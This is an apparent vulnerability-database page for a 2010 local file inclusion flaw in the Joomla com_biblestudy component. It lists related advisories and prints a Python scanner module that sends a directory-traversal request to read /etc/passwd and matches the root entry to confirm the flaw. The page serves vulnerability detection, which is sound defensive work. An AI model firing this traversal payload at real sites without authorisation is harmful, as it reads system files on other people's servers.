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Joomla! Component com_biblestudy - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote directory traversal in Joomla! com_biblestudy allows execution of arbitrary local files.

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circl
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CVE-2010-0157
3 Jan 201000:00
–circl
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10 Nov 201400:00
–checkpoint_advisories
cve
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CVE-2010-0157
6 Jan 201021:33
–cve
cvelist
Cvelist
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6 Jan 201021:33
–cvelist
exploitdb
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Joomla! Component com_biblestudy - Local File Inclusion
3 Jan 201000:00
–exploitdb
euvd
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EUVD-2010-0188
7 Oct 202500:30
–euvd
nessus
Tenable Nessus
Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities
4 Jan 201000:00
–nessus
nuclei
Nuclei
Joomla! Component com_biblestudy - Local File Inclusion
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2010-0157
6 Jan 201022:00
–nvd
prion
Prion
Directory traversal
6 Jan 201022:00
–prion
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Joomla! Component com_biblestudy - Local File Inclusion Detection',
        'description': 'A directory traversal vulnerability in the Bible Study (com_biblestudy) component 6.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter in a studieslist action to index.php.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2010', 'joomla', 'lfi', 'edb', 'packetstorm', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/10943',
            'https://nvd.nist.gov/vuln/detail/CVE-2010-0157',
            'http://packetstormsecurity.org/1001-exploits/joomlabiblestudy-lfi.txt',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2010-0157',
    }

    def run(self):
        r = self.http_request(method="GET", path='/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Joomla! Component com_biblestudy - Local File Inclusion detected",
                path='/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd',
            )
            return True
        return False

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